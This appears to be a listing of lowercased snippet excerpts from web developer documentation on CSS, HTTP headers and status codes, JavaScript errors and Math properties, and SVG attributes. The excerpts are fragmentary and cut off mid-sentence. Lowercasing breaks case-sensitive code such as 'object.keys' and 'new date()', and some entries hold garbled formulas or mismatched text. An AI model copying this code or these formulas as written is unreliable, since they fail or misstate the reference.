examples basic example html <h1>hello world!</h1> css h1 { text-align: left; } @media (shape: rect) { h1 { text-align: left; } } @media (shape: round) { h1 { text-align: center; } } custom stylesheet
this html will apply a special stylesheet for devices that have round screens.
update - CSS: Cascading Style Sheets
examples html <p>if
this text animates for you, you are using a fast-updating device.</p> css @keyframes jiggle { from { transform: translatey(0); } to { transform: translatey(25px); } } @media (update: fast) { p { animation: 1s jiggle linear alternate infinite; } } result specifications specification status comment media queries level 4the definition of 'upda...
width - CSS: Cascading Style Sheets
examples html <div>watch
this element as you resize your viewport's width.</div> css /* exact width */ @media (width: 360px) { div { color: red; } } /* minimum width */ @media (min-width: 35rem) { div { background: yellow; } } /* maximum width */ @media (max-width: 50rem) { div { border: 2px solid blue; } } result specifications specification status comment media queries level 4the ...
orientation - CSS: Cascading Style Sheets
/* keyword values */ orientation: auto; orientation: portrait; orientation: landscape; for a ua/device where the orientation is changed upon tilting the device, an author can use
this descriptor to inhibit the orientation change.
Implementing image sprites in CSS - CSS: Cascading Style Sheets
for example: #btn1 { background-position: -20px 0px; } #btn2 { background-position: -40px 0px; }
this would move the element with the id 'btn1' 20 pixels to the left and the element with the id 'btn2' 40 pixels to the left (assuming they have the class toolbtn assigned and are affected by the image rule above).
Child combinator - CSS: Cascading Style Sheets
this is stricter than the descendant combinator, which matches all elements matched by the second selector for which there exists an ancestor element matched by the first selector, regardless of the number of "hops" up the dom.
Questions about CSS - CSS: Cascading Style Sheets
with css, the sources of style definition for a given document element are in
this order of precedence: the style attribute on an individual element tag the style element that defines a specific style sheet containing style declarations or a link element that links to a separate document containing the style element.
General sibling combinator - CSS: Cascading Style Sheets
/* paragraphs that are siblings of and subsequent to any image */ img ~ p { color: red; } syntax former_element ~ target_element { style properties } examples css p ~ span { color: red; } html <span>
this is not red.</span> <p>here is a paragraph.</p> <code>here is some code.</code> <span>and here is a red span!</span> <code>more code...</code> <span>and
this is a red span!</span> result specifications specification status comment selectors level 4the definition of 'subsequent-sibling combinator' in that specification.
ID selectors - CSS: Cascading Style Sheets
/* the element with id="demo" */ #demo { border: red 2px solid; } syntax #id_value { style properties } note that syntactically (but not specificity-wise),
this is equivalent to the following attribute selector: [id=id_value] { style properties } examples css #identified { background-color: skyblue; } html <div id="identified">
this div has a special id on it!</div> <div>
this is just a regular div.</div> result specifications specification status comment selectors level 4the definition of 'id selectors' in that specification.
mask-border-mode - CSS: Cascading Style Sheets
formal definition initial valuealphaapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax luminance | alpha examples basic usage
this property doesn't yet seem to have support anywhere.
mask-image - CSS: Cascading Style Sheets
urce> value */ mask-image: url(masks.svg#mask1); /* <image> values */ mask-image: linear-gradient(rgba(0, 0, 0, 1.0), transparent); mask-image: image(url(mask.png), skyblue); /* multiple values */ mask-image: image(url(mask.png), skyblue), linear-gradient(rgba(0, 0, 0, 1.0), transparent); /* global values */ mask-image: inherit; mask-image: initial; mask-image: unset; syntax values none
this keyword is interpreted as a transparent black image layer.
mask-size - CSS: Cascading Style Sheets
syntax */ mask-size: cover; mask-size: contain; /* one-value syntax */ /* the width of the image (height set to 'auto') */ mask-size: 50%; mask-size: 3em; mask-size: 12px; mask-size: auto; /* two-value syntax */ /* first value: width of the image, second value: height */ mask-size: 50% auto; mask-size: 3em 25%; mask-size: auto 6px; mask-size: auto auto; /* multiple values */ /* do not confuse
this with mask-size: auto auto */ mask-size: auto, auto; mask-size: 50%, 25%, 25%; mask-size: 6px, auto, contain; /* global values */ mask-size: inherit; mask-size: initial; mask-size: unset; note: if the value of
this property is not set in a mask shorthand property that is applied to the element after the mask-size css property, the value of
this property is then reset to its initial value by the...
mask-type - CSS: Cascading Style Sheets
/* keyword values */ mask-type: luminance; mask-type: alpha; /* global values */ mask-type: inherit; mask-type: initial; mask-type: unset;
this property may be overridden by the mask-mode property, which has the same effect but applies to the element where the mask is used.
overflow-anchor - CSS: Cascading Style Sheets
therefore, changing the value of
this property is typically only required if you are experiencing problems with scroll anchoring in a document or part of a document and need to turn the behavior off.
padding-block - CSS: Cascading Style Sheets
constituent properties
this property is a shorthand for the following css properties: padding-block-end padding-block-start syntax values the padding-block property takes the same values as the padding-left property.
rotate - CSS: Cascading Style Sheets
this maps better to typical user interface usage, and saves having to remember the exact order of transform functions to specify in the transform property.
scale - CSS: Cascading Style Sheets
this maps better to typical user interface usage, and saves having to remember the exact order of transform functions to specify in the transform value.
<string> - CSS: Cascading Style Sheets
examples /* simple strings */ "
this string is demarcated by double quotes." '
this string is demarcated by single quotes.' /* character escaping */ "
this is a string with \" an escaped double quote." "
this string also has \22 an escaped double quote." '
this is a string with \' an escaped single quote.' '
this string also has \27 an escaped single quote.' "
this is a string with \\ an escaped backslash." /* new line in a string */ "t...
tab-size - CSS: Cascading Style Sheets
formal definition initial value8applies toblock containersinheritedyescomputed valuethe specified integer or an absolute lengthanimation typea length formal syntax <integer> | <length> examples expanding by character count pre { tab-size: 4; /* set tab size to 4 characters wide */ } collapse tabs pre { tab-size: 0; /* remove indentation */ } comparing to the default size
this example compares a default tab size with a custom tab size.
Access-Control-Expose-Headers - HTTP
se a non-cors-safelisted request header, you can specify: access-control-expose-headers: content-length to additionally expose a custom header, like x-kuma-revision, you can specify multiple headers separated by a comma: access-control-expose-headers: content-length, x-kuma-revision in requests without credentials, you can also use a wildcard value: access-control-expose-headers: * however,
this won't wildcard the authorization header, so if you need to expose that, you will need to list it explicitly: access-control-expose-headers: *, authorization specifications specification status comment fetchthe definition of 'access-control-expose-headers' in that specification.
Allow - HTTP
this header must be sent if the server responds with a 405 method not allowed status code to indicate which request methods can be used.
Alt-Svc - HTTP
if the cached entry expires, the client can no longer use
this alternative service for new connections.
Content-Language - HTTP
<html lang="de"> do not use
this meta element like
this for stating a document language: <!-- /!\
this is bad practice --> <meta http-equiv="content-language" content="de"> indicating a target audience for a resource the content-language header is used to specify the intended audience of the page, and can indicate that
this is more than one language.
CSP: report-to - HTTP
csp version 1 directive type reporting directive
this directive is not supported in the <meta> element.
CSP: require-sri-for - HTTP
examples if you set your site to require sri for script and styles using
this directive: content-security-policy: require-sri-for script style <script> elements like the following will be loaded as they use a valid integrity attribute.
Cookie2 - HTTP
the obsolete cookie2 http request header used to advise the server that the user agent understands "new-style" cookies, but nowadays user agents will use the cookie header instead, not
this one.
Date - HTTP
note that date is listed in the forbidden header names in the fetch spec - so
this code will not send date header: fetch('https://httpbin.org/get', { 'headers': { 'date': (new date()).toutcstring() } }) header type general header forbidden header name yes syntax date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> gmt directives <day-name> one of "mon", "tue", "wed", "thu", "fri", "sat", or "sun" (case-sensitive).
ETag - HTTP
this means weak etags prevent caching when byte range requests are used, but strong etags mean range requests can still be cached.
Expect-CT - HTTP
if a cache receives a value greater than it can represent, or if any of its subsequent calculations overflows, the cache will consider
this value to be either 2,147,483,648 (231) or the greatest positive integer it can represent.
Expect - HTTP
expect: 100-continue directives 100-continue informs recipients that the client is about to send a (presumably large) message body in
this request and wishes to receive a 100 (continue) interim response.
Feature-Policy: xr - HTTP
this feature policy directive was at one point defined as xr (but implemented in chrome as vr), use xr-spatial-tracking instead.
If-Range - HTTP
this header can be used either with a last-modified validator, or with an etag, but not with both.
Last-Modified - HTTP
conditional requests containing if-modified-since or if-unmodified-since headers make use of
this field.
Referer - HTTP
important: although
this header has many innocent uses it can have undesirable consequences for user security and privacy.
Save-Data - HTTP
this could be for reasons such as high transfer costs, slow connection speeds, etc.
Sec-WebSocket-Accept - HTTP
that is,
this is header is sent from server to client to inform that server is willing to initiate a websocket connection.
Server-Timing - HTTP
this interface is restricted to the same origin, but you can use the timing-allow-origin header to specify the domains that are allowed to access the server metrics.
Trailer - HTTP
examples chunked transfer encoding using a trailing header in
this example, the expires header is used at the end of the chunked message and serves as a trailing header.
User-Agent - HTTP
examples mozilla/5.0 (x11; linux x86_64) applewebkit/537.36 (khtml, like gecko) chrome/51.0.2704.106 safari/537.36 opr/38.0.2220.41 older, presto-based opera releases used: opera/9.80 (macintosh; intel mac os x; u; en) presto/2.2.15 version/10.00 opera/9.60 (windows nt 6.0; u; en) presto/2.1.1 safari ua string in
this example, the user agent string is mobile safari’s version.
Vary - HTTP
a better way to indicate
this is to use cache-control: no-store, which is clearer to read and also signals that the object shouldn't be stored ever.
Want-Digest - HTTP
digest algorithms, so responds with a 400 error and includes another want-digest header, listing the algorithms that it does support: request: get /item want-digest: sha;q=1 response: http/1.1 400 bad request want-digest: sha-256, sha-512 specifications specification title draft-ietf-httpbis-digest-headers-latest resource digests for http
this header was originally defined in rfc 3230, but the definition of "selected representation" in rfc 7231 made the original definition inconsistent with current http specifications.
103 Early Hints - HTTP
syntax 103 early hints specifications specification status comments rfc 8297: 103 early hints ietf rfc initial definition browser compatibility the compatibility table in
this page is generated from structured data.
205 Reset Content - HTTP
status 205 reset content specifications specification title rfc 7231, section 6.3.6: 205 reset content hypertext transfer protocol (http/1.1): semantics and content compatibility notes browser behavior differs if
this response erroneously includes a body on persistent connections see 204 no content for more detail.
304 Not Modified - HTTP
this happens when the request method is safe, like a get or a head request, or when the request is conditional and uses a if-none-match or a if-modified-since header.
307 Temporary Redirect - HTTP
this is useful when you want to give an answer to a put method that is not the uploaded resources, but a confirmation message (like "you successfully uploaded xyz").
308 Permanent Redirect - HTTP
a browser redirects to
this page and search engines update their links to the resource (in 'seo-speak', it is said that the 'link-juice' is sent to the new url).
403 Forbidden - HTTP
this status is similar to 401, but in
this case, re-authenticating will make no difference.
414 URI Too Long - HTTP
there are a few rare conditions when
this might occur: when a client has improperly converted a post request to a get request with long query information, when the client has descended into a loop of redirection (for example, a redirected uri prefix that points to a suffix of itself), or when the server is under attack by a client attempting to exploit potential security holes.
416 Range Not Satisfiable - HTTP
content-range: bytes */12777 faced with
this error, browsers usually either abort the operation (for example, a download will be considered as non-resumable) or ask for the whole document again.
418 I'm a teapot - HTTP
this error is a reference to hyper text coffee pot control protocol defined in april fools' jokes in 1998 and 2014.
429 Too Many Requests - HTTP
a retry-after header might be included to
this response indicating how long to wait before making a new request.
501 Not Implemented - HTTP
this status can also send a retry-after header, telling the requester when to check back to see if the functionality is supported by then.
HTTP
this article describes different methods of caching and how to use http headers to control them.
JavaScript Guide - JavaScript
chapters
this guide is divided into several chapters: introduction about
this guide about javascript javascript and java ecmascript tools hello world grammar and types basic syntax & comments declarations variable scope variable hoisting data structures and types literals control flow and error handling if...else switch try/catch/throw error objects loops and iteration for while do...while break/continue for..in for..of functions defining functions calling functions function scope closures arguments & para...
TypeError: invalid Array.prototype.sort argument - JavaScript
examples invalid cases [1, 3, 2].sort(5); // typeerror var cmp = { asc: (x, y) => x >= y, dsc: (x, y) => x <= y }; [1, 3, 2].sort(cmp[
this.key] || 'asc'); // typeerror valid cases [1, 3, 2].sort(); // [1, 2, 3] var cmp = { asc: (x, y) => x >= y, dsc: (x, y) => x <= y }; [1, 3, 2].sort(cmp[
this.key || 'asc']); // [1, 2, 3] ...
SyntaxError: return not in function - JavaScript
examples missing curly brackets var cheer = function(score) { if (score === 147) return 'maximum!'; }; if (score > 100) { return 'century!'; } } // syntaxerror: return not in function the curly brackets look correct at a first glance, but
this code snippet is missing a { after the first if statement.
RangeError: invalid date - JavaScript
however, depending on the implementation, non–conforming iso format strings, may also throw rangeerror: invalid date, like the following cases in firefox: new date('foo-bar 2014'); new date('2014-25-23').toisostring(); new date('foo-bar 2014').tostring();
this, however, returns nan in firefox: date.parse('foo-bar 2014'); // nan for more details, see the date.parse() documentation.
URIError: malformed URI sequence - JavaScript
if there isn't such a character, an error will be thrown: decodeuricomponent('%e0%a4%a'); // "urierror: malformed uri sequence" with proper input,
this should usually look like something like
this: decodeuricomponent('javascript_%d1%88%d0%b5%d0%bb%d0%bb%d1%8b'); // "javascript_шеллы" ...
SyntaxError: Malformed formal parameter - JavaScript
cases var f = function('x y', 'return x + y;'); // syntaxerror (missing a comma) var f = function('x,', 'return x;'); // syntaxerror (extraneous comma) var f = function(37, "alert('ok')"); // syntaxerror (numbers can't be argument names) valid cases var f = function('x, y', 'return x + y;'); // correctly punctuated var f = function('x', 'return x;'); // if you can, avoid using function -
this is much faster var f = function(x) { return x; }; ...
SyntaxError: missing name after . operator - JavaScript
operator to fix
this code, you need to access the object like
this: obj.foo.bar; // "baz" // or alternatively obj["foo"]["bar"]; // "baz" // computed properties require square brackets obj.foo["bar" + i]; // "baz2" property access vs.
TypeError: More arguments needed - JavaScript
ents not provided the object.create() method requires at least one argument and the object.setprototypeof() method requires at least two arguments: var obj = object.create(); // typeerror: object.create requires at least 1 argument, but only 0 were passed var obj = object.setprototypeof({}); // typeerror: object.setprototypeof requires at least 2 arguments, but only 1 were passed you can fix
this by setting null as the prototype, for example: var obj = object.create(null); var obj = object.setprototypeof({}, null); ...
TypeError: "x" is not a non-null object - JavaScript
providing no object (like just a number), will throw an error: object.defineproperty({}, 'key', 1); // typeerror: 1 is not a non-null object object.defineproperty({}, 'key', null); // typeerror: null is not a non-null object a valid property descriptor object might look like
this: object.defineproperty({}, 'key', { value: 'foo', writable: false }); weakmap and weakset objects require object keys weakmap and weakset objects store object keys.
Warning: unreachable code after return statement - JavaScript
warnings will not be shown for semicolon-less returns if these statements follow it: throw break var function examples invalid cases function f() { var x = 3; x += 4; return x; // return exits the function immediately x -= 3; // so
this line will never run; it is unreachable } function f() { return //
this is treated like `return;` 3 + 4; // so the function returns, and
this line is never reached } valid cases function f() { var x = 3; x += 4; x -= 3; return x; // ok: return after all other statements } function f() { return 3 + 4 // ok: semicolon-less return with expression on the same line } ...
TypeError: 'x' is not iterable - JavaScript
var obj = { 'france': 'paris', 'england': 'london' }; // iterate over the property names: for (let country of object.keys(obj)) { var capital = obj[country]; console.log(country, capital); } for (const [country, capital] of object.entries(obj)) console.log(country, capital); another option for
this use case might be to use a map: var map = new map; map.set('france', 'paris'); map.set('england', 'london'); // iterate over the property names: for (let country of map.keys()) { let capital = map[country]; console.log(country, capital); } for (let capital of map.values()) console.log(capital); for (const [country, capital] of map.entries()) console.log(country, capital); ite...
get Array[@@species] - JavaScript
however, you might want to overwrite
this, in order to return parent array objects in your derived class methods: class myarray extends array { // overwrite myarray species to the parent array constructor static get [symbol.species]() { return array; } } specifications specification ecmascript (ecma-262)the definition of 'get array [ @@species ]' in that specification.
Array.prototype[@@unscopables] - JavaScript
this is where now the built-in @@unscopables array.prototype[@@unscopables] symbol property comes into play and prevents that some of the array methods are being scoped into the with statement.
get ArrayBuffer[@@species] - JavaScript
however, you might want to overwrite
this, in order to return parent arraybuffer objects in your derived class methods: class myarraybuffer extends arraybuffer { // overwrite myarraybuffer species to the parent arraybuffer constructor static get [symbol.species]() { return arraybuffer; } } specifications specification ecmascript (ecma-262)the definition of 'get arraybuffer [ @@species ]' in that specification.
Math.LOG10E - JavaScript
the math.log10e property represents the base 10 logarithm of e, approximately 0.434: math.log10e=log10(e)≈0.434\mathtt{\mi{math.log10e}} = \log_10(e) \approx 0.434 the source for
this interactive example is stored in a github repository.
Math.LOG2E - JavaScript
the math.log2e property represents the base 2 logarithm of e, approximately 1.442: math.log2e=log2(e)≈1.442\mathtt{\mi{math.log2e}} = \log_2(e) \approx 1.442 the source for
this interactive example is stored in a github repository.
Math.PI - JavaScript
the math.pi property represents the ratio of the circumference of a circle to its diameter, approximately 3.14159: math.pi=π≈3.14159\mathtt{\mi{math.pi}} = \pi \approx 3.14159 the source for
this interactive example is stored in a github repository.
Math.SQRT1_2 - JavaScript
the math.sqrt1_2 property represents the square root of 1/2 which is approximately 0.707: math.sqrt1_2=12=12≈0.707\mathtt{\mi{math.sqrt1_2}} = \sqrt{\frac{1}{2}} = \frac{1}{\sqrt{2}} \approx 0.707 the source for
this interactive example is stored in a github repository.
Math.SQRT2 - JavaScript
the math.sqrt2 property represents the square root of 2, approximately 1.414: math.sqrt2=2≈1.414\mathtt{\mi{math.sqrt2}} = \sqrt{2} \approx 1.414 the source for
this interactive example is stored in a github repository.
Math.abs() - JavaScript
the math.abs() function returns the absolute value of a number, that is math.abs(x)=|x|={xifx>00ifx=0-xifx<0{\mathtt{\operatorname{math.abs}(z)}} = {|z|} = \begin{cases} x & \text{if} \quad x \geq 0 \\ x & \text{if} \quad x < 0 \end{cases} the source for
this interactive example is stored in a github repository.
Math.asinh() - JavaScript
the math.asinh() function returns the hyperbolic arcsine of a number, that is math.asinh(x)=arsinh(x)= the unique ysuch thatsinh(y)=x\mathtt{\operatorname{math.asinh}(x)} = \operatorname{arsinh}(x) = \text{ the unique } \; y \; \text{such that} \; \sinh(y) = x the source for
this interactive example is stored in a github repository.
Math.sqrt() - JavaScript
the math.sqrt() function returns the square root of a number, that is ∀x≥0,math.sqrt(x)=x=the uniquey≥0such thaty2=x\forall x \geq 0, \mathtt{math.sqrt(x)} = \sqrt{x} = \text{the unique} \; y \geq 0 \; \text{such that} \; y^2 = x the source for
this interactive example is stored in a github repository.
accent-height - SVG: Scalable Vector Graphics
only one element is using
this attribute: <font-face> font-face for <font-face>, accent-height defines the distance from the origin to the top of accent characters, measured by a distance within the font coordinate system.
alphabetic - SVG: Scalable Vector Graphics
only one element is using
this attribute: <font-face> usage notes value <number> default value 0 animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'alphabetic' in that specification.
amplitude - SVG: Scalable Vector Graphics
four elements are using
this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> usage notes value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'amplitude' in that specification.
ascent - SVG: Scalable Vector Graphics
only one element is using
this attribute: <font-face> font-face for <font-face>, ascent defines the maximum unaccented height of the font within the font coordinate system.
attributeName - SVG: Scalable Vector Graphics
four elements are using
this attribute: <animate>, <animatecolor>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 250 250" xmlns="http://www.w3.org/2000/svg"> <rect x="50" y="50" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="5s" repeatcount="indefinite"/> </rect> </svg> usage notes value <name> default value none animatable no <name>
this value indicates the name of the css property or attribute of the target element to be animated.
azimuth - SVG: Scalable Vector Graphics
only one element is using
this attribute: <fedistantlight> html, body, svg { height: 100%; } <svg viewbox="0 0 440 200" xmlns="http://www.w3.org/2000/svg"> <filter id="distantlight1"> <fediffuselighting> <fedistantlight azimuth="0" /> </fediffuselighting> </filter> <filter id="distantlight2"> <fediffuselighting> <fedistantlight azimuth="240" /> </fediffuselighting> </filter> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight1);" /> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight2); transform: translatex(240px);" /> </svg> usage notes value <number> default va...
baseFrequency - SVG: Scalable Vector Graphics
only one element is using
this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.05" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#noise1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#noise2); transform: translatex(220px);" /> </svg> usage notes value <number-optional-number> default value ...
bbox - SVG: Scalable Vector Graphics
only one element is using
this attribute: <font-face> usage notes value <string> default value none animatable no <string> a comma-separated list of exactly four numbers specifying, in order, the lower left x, lower left y, upper right x, and upper right y of the bounding box for the complete font.
by - SVG: Scalable Vector Graphics
four elements are using
this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="100" height="100"> <animate attributename="width" fill="freeze" by="50" dur="3s"/> </rect> </svg> usage notes value see below default value none animatable no the exact value type for
this attribute depends on the value of the attribute that wil...
cap-height - SVG: Scalable Vector Graphics
only one element is using
this attribute: <font-face> usage notes value <number> default value none animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'cap-height' in that specification.
d - SVG: Scalable Vector Graphics
three elements have
this attribute: <path>, <glyph>, and <missing-glyph> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path fill="none" stroke="red" d="m 10,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z" /> </svg> path for <path>, d is a string containing a series of path commands that define the path to be drawn.
descent - SVG: Scalable Vector Graphics
only one element is using
this attribute: <font-face> usage notes value <number> default value value of vert-origin-y animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'descent' in that specification.
dx - SVG: Scalable Vector Graphics
seven elements are using
this attribute: <altglyph>, <fedropshadow>, <feoffset>, <glyphref>, <text>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- lines materialized the position of the glyphs --> <line x1="0" x2="100%" y1="50%" y2="50%" /> <line x1="10%" x2="10%" y1="0" y2="100%" /> <line x1="60%" x2="60%" y1="0" y2="100%" /> <!-- some reference text --> <text x="10%" y="50%" fill="grey">svg</text> <!-- the same text with a shift along the x-axis --> <text dx="50%" x="10%" y="50%">svg</text> </svg> line { stroke: red; stroke-width: .5px; stroke-dasharray: 3px; } altglyph warning: as o...
dy - SVG: Scalable Vector Graphics
seven elements utilize
this attribute: <altglyph>, <fedropshadow>, <feoffset>, <glyphref>, <text>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- lines materialized the position of the glyphs --> <line x1="10%" x2="10%" y1="0" y2="100%" /> <line x1="0" x2="100%" y1="30%" y2="30%" /> <line x1="0" x2="100%" y1="80%" y2="80%" /> <!-- some reference text --> <text x="10%" y="30%" fill="grey">svg</text> <!-- the same text with a shift along the y-axis --> <text dy="50%" x="10%" y="30%">svg</text> </svg> line { stroke: red; stroke-width: .5px; stroke-dasharray: 3px; } altglyph warning: as...
elevation - SVG: Scalable Vector Graphics
only one element is using
this attribute: <fedistantlight> html, body, svg { height: 100%; } <svg viewbox="0 0 440 200" xmlns="http://www.w3.org/2000/svg"> <filter id="distantlight1"> <fediffuselighting> <fedistantlight elevation="0" /> </fediffuselighting> </filter> <filter id="distantlight2"> <fediffuselighting> <fedistantlight elevation="45" /> </fediffuselighting> </filter> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight1);" /> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight2); transform: translatex(240px);" /> ...
filterUnits - SVG: Scalable Vector Graphics
only one element is using
this attribute: <filter> usage notes value userspaceonuse | objectboundingbox default value objectboundingbox animatable yes userspaceonuse x, y, width and height represent values in the current coordinate system that results from taking the current user coordinate system in place at the time when the <filter> element is referenced (i.e., the user coordinate system for the element referencing the <filter> element via a filter attribute).
fr - SVG: Scalable Vector Graphics
only one element is using
this attribute: <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient1" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="25%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient1)" /> <circle cx="100" cy="100" r="100" fi...
fx - SVG: Scalable Vector Graphics
only one element is using
this attribute: <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient1" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.75" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient1)" /> <circle cx="100" cy="100" r=...
fy - SVG: Scalable Vector Graphics
only one element is using
this attribute: <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient1" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.75" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient1)" /> <circle cx="100" cy="100" r=...
g1 - SVG: Scalable Vector Graphics
two elements are using
this attribute: <hkern> and <vkern> context notes value <name># default value none animatable no <name>#
this value indicates a comma-separated sequence of glyph names (i.e., values that match glyph-name attributes on <glyph> elements) which identify a set of possible first glyphs in the kerning pair.
g2 - SVG: Scalable Vector Graphics
two elements are using
this attribute: <hkern> and <vkern> context notes value <name># default value none animatable no <name>#
this value indicates a comma-separated sequence of glyph names (i.e., values that match glyph-name attributes on <glyph> elements) which identify a set of possible second glyphs in the kerning pair.
glyph-name - SVG: Scalable Vector Graphics
only one element is using
this attribute: <glyph> context notes value <name># default value none animatable no <name>#
this value specifies a comma-separated list of names for the glyph.
glyphRef - SVG: Scalable Vector Graphics
two elements are using
this attribute: <altglyph> and <glyphref> usage notes value <string> default value none animatable yes <string>
this value represents the glyph identifier.
hanging - SVG: Scalable Vector Graphics
only one element is using
this attribute: <font-face> usage notes value <number> default value none animatable no <number>
this value indicates the alignment coordinate for the glyphs.
horiz-origin-x - SVG: Scalable Vector Graphics
only one element is using
this attribute: <font> usage notes value <number> default value 0 animatable no <number>
this value indicates the x-coordinate of the origin of a glyph for horizontally oriented text.
horiz-origin-y - SVG: Scalable Vector Graphics
only one element is using
this attribute: <font> usage notes value <number> default value 0 animatable no <number>
this value indicates the x-coordinate of the origin of a glyph for horizontally oriented text.
ideographic - SVG: Scalable Vector Graphics
only one element is using
this attribute: <font-face> usage notes value <number> default value none animatable no <number>
this value indicates the alignment coordinate for the glyphs.
intercept - SVG: Scalable Vector Graphics
four elements are using
this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="linear" intercept="0"/> <fefuncg type="linear" intercep...
k1 - SVG: Scalable Vector Graphics
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using
this attribute: <fecomposite> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="10" k2="0" k3="0" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" ...
k2 - SVG: Scalable Vector Graphics
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using
this attribute: <fecomposite> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="1" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="10" k3="0" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" ...
k3 - SVG: Scalable Vector Graphics
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using
this attribute: <fecomposite> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="1" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="10" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" ...
k4 - SVG: Scalable Vector Graphics
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using
